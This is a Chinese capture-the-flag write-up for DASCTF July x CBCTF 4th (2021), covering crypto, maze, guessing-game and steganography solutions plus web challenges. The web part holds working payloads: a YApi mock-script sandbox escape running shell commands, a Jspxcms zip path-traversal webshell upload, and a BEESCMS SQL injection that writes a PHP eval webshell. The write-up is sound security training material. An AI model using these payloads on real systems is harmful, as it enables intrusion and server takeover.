2021DASCTF July X CBCTF 4th

2021 DASCTF实战精英夏令营预热赛
DASCTF July x CBCTF 4th
主办单位: 安恒信息、杭州电子科技大学网络空间安全学院
竞赛时间: 2021年7月31日10:00- 2021年8月1日18:00
报名时间: 2021年7月15日10:00-2021年7月31日10:00
报名地址: https://buuoj.cn/das
报名方式: 登录后点击[个人信息]完善个人信息>点击[参与情况]创建战队->分享战队Token给自己的队员->等待比赛开始
竞赛方式: 团队赛(最多三人一组)
命题战队: 0rays

Rank: 42


CRYPTO

Yusa的密码学签到——BlockTrick

好久不见,上课前先签个到叭!此题 nc 连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Cipher import AES
import os
def pad(a):
size = (16-len(a)%16)%16
a += chr(size)*size
return a

iv = os.urandom(16)
key = os.urandom(16)
enc = AES.new(key,AES.MODE_CBC,iv)
print(iv.encode('hex'))


for _ in range(2):
try:
trick = raw_input("")
trick = pad(trick.decode('hex'))
cipher = enc.encrypt(trick)
if trick == cipher and trick != "" :
with open("flag.txt") as f:
print(f.read())
exit()
else:
print(cipher.encode('hex'))
print("Try again")
except:
exit()

AES-CBC模式原理。

第一次:

P0 = IV

C0 = Encrypt(P0 XOR IV) = Encrypt(0)

第二次:

P1 = C0

C1 = Encrypt(P1 XOR C0) = Encrypt(C0 XOR C0) = Encrypt(0) = C0 = P1

MISC

red_vs_blue

红队和蓝队将开展66轮对抗,你能预测出每轮对抗的结果吗?

nc连接

同一次连接内,错误可以反复从头猜,66次随机结果不变,存储之前猜对的正确结果,错误时再重猜当前次数的另一种结果即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

r=remote('node4.buuoj.cn',29203)
r.recvline()
r.recvline()
r.recvline()
ans=['?']*67

i=1
while i<=66:
print(r.recvline())
r.recvline()
if ans[i]=='?':
r.sendline('r')
r.recvline()
r.recvline()
x=r.recvline()
if 'success' in x:
ans[i]='r'
i+=1
elif 'Sorry' in x:
ans[i]='b'
r.sendlineafter('Play again? (y/n): ','y')
i=1
else:
r.sendline(ans[i])
r.recvline()
r.recvline()
r.recvline()
i+=1
print(ans)

print(r.recvall())

funny_maze

七月被困在了迷宫里,十秒后迷宫的终点就要永远消失了,你能帮她走出迷宫吗?

nc 连接

DFS算法走迷宫。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

p=remote('node4.buuoj.cn',27139)

def get_sol(maze):
if len(path) > 0:
print('\n'.join(''.join(row) for row in maze))
solution = ''.join(path)[::-1]
print(solution)
global path
path = []
return solution

def dfs(maze, y, x):
if maze[y][x] in (' ','S'):
tag = 'o'
maze[y][x] = tag
if dfs(maze, y, x+1) == True:
tag = 'R'
path.append(tag)
elif dfs(maze, y+1, x) == True:
tag = 'D'
path.append(tag)
elif dfs(maze, y, x-1) == True:
tag = 'L'
path.append(tag)
elif dfs(maze, y-1, x) == True:
tag = 'U'
path.append(tag)
else:
tag = ' '
maze[y][x] = tag
return (tag != ' ')
elif maze[y][x] == 'E':
return True
return False


for i in range(5):
p.recvline()

p.sendline('1')

while 1:
maze = []

first = p.recvline().strip()
if '#' not in first:
print(first)
print(p.recvall())
break

leng = len(first)
maze.append(list(first))

for i in range(leng-1):
now = p.recvline().strip()
maze.append(list(now))

start = []
for y in range(0,len(maze)):
for x in range(0,len(maze[y])):
if maze[y][x] == 'S':
start = [y,x]

path = []
dfs(maze, start[0], start[1])
sol = get_sol(maze)
print(sol)

p.recvline()
p.sendline(str(len(sol)+1))
p.recvline()
p.recvline()
p.recvline()

ezSteganography

有手就行的隐写

10M+ png图。

zsteg在G通道发现隐写另一png图,文字只有一半flag:

part1

查找QIM算法:

量化索引调制算法(QIM)是一种经典的水印算法,它根据水印信息,把原始载体数据用量化器量化到不同的索引区间,能在获取较高的鲁棒性同时,具有较小嵌入失真。QIM算法能有效抵抗滤波、噪声、剪切等常见攻击。

找到具体实现代码,将输入从一维修改为二维图像矩阵:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
"""Implementation of QIM method from Data Hiding Codes, Moulin and Koetter, 2005"""

from __future__ import print_function
import sys
import os
HOME = os.environ["HOME"]

import numpy as np


class QIM:
def __init__(self, delta):
self.delta = delta

def embed(self, x, m):
"""
x is a vector of values to be quantized individually
m is a binary vector of bits to be embeded
returns: a quantized vector y
"""
x = x.astype(float)
d = self.delta
y = np.round(x/d) * d + (-1)**(m+1) * d/4.
return y

def detect(self, z):
"""
z is the received vector, potentially modified
returns: a detected vector z_detected and a detected message m_detected
"""

shape = z.shape
z = z.flatten()

m_detected = np.zeros_like(z, dtype=float)
z_detected = np.zeros_like(z, dtype=float)

z0 = self.embed(z, 0)
z1 = self.embed(z, 1)

d0 = np.abs(z - z0)
d1 = np.abs(z - z1)

gen = zip(range(len(z_detected)), d0, d1)
for i, dd0, dd1 in gen:
if dd0 < dd1:
m_detected[i] = 0
z_detected[i] = z0[i]
else:
m_detected[i] = 1
z_detected[i] = z1[i]


z_detected = z_detected.reshape(shape)
m_detected = m_detected.reshape(shape)
return z_detected, m_detected.astype(int)

def random_msg(self, l):
"""
returns: a random binary sequence of length l
"""
return np.random.choice((0, 1), l)


def test_qim():
"""
tests the embed and detect methods of class QIM
"""
#l = 10000 # binary message length
delta = 20 # quantization step
qim = QIM(delta)

#x = np.random.randint(0, 255, l).astype(float) # host sample


#msg = qim.random_msg(l)
#y = qim.embed(x, msg)

from PIL import Image
img = Image.open('ezSteganography-flag.png')
y = np.array(img)

z_detected, msg_detected = qim.detect(y)
new_img = Image.fromarray(np.uint8(255*msg_detected))
new_img.save('part2.png')

#print(x)
#print(msg)
print(y)
print(z_detected)

#print(msg)
print(msg_detected)
#assert np.allclose(msg, msg_detected) # compare the original and detected messages
#assert np.allclose(y, z_detected) # compare the original and detected vectors


def main():
test_qim()


if __name__ == "__main__":
sys.exit(main())

得到隐写png水印图片:

part2

WEB

ezrce

你真的会 nodejs 吗?

Yapi远程命令执行漏洞

注册并登录账号,添加项目,选择设置,设置全局mock脚本:

1
2
3
4
5
6
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

打开脚本,添加一个接口,访问Mock地址即可成功RCE。

jspxcms

http://sdejkwdfnewi3f2jr32d3edfewd.dasctf.node4.buuoj.cn:82/

靶机每十分钟重置一次。

Jspxcms解压getshell漏洞

参考信息登录后台/cmscp/index.doadmin/空 弱口令进入后台,在文件管理可上传文件。

虽然能上传任意文件,但在JspDispatcherFilter.java限制了对jsp文件的访问,但可上传并解压zip文件,因WebFileUploadsController.java里的unzip方法调用了下层方法却没有进行文件名检查,导致可以目录穿透。

将大马cmd.war打包上传并解压,默认放在\webapps\ROOT\uploads\1\下,再修改文件名为../../../cmd.war即可将cmd.war置于webapps根目录下,可自动解析。

访问/cmd查看根目录flag。

cybercms

赛博CMS,只为安全而生

Hint: 信息搜集是一个web手必备的技能

下载源码www.zip,在/admin/version.php中发现此为BEESCMS v4.0改的CMS。

找到后台登录页面存在Beescms_v4.0 SQL注入漏洞,不同在于过滤函数除了fl_valuefl_html,还多了个f1_vvv

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}
function f1_vvv($str){
if(empty($str)){return;}
if(preg_match("/\ /i", $str)){
exit('Go away,bad hacker!!');
}
preg_replace('/0x/i','',$str);
return $str;
}

fl_value过滤关键字,可双写绕过;

f1_htmlhtmlspecialchars只对双引号编码,可用单引号绕过;

f1_vvv中过滤空格和0x,空格可注释绕过,0x双写绕过。

payload:

user=-1'/**/uni union on/**/selselectect/**/00xx3c3f70687020406576616c28245f504f53545b636d645d293b3f3e,2,3,4,5/**/int into o/**/outoutfilefile/**/'/var/www/html/2.php'%23&password=ss&code=&submit=true&submit.x=46&submit.y=24

写入shell,蚁剑连接,根目录找到flag。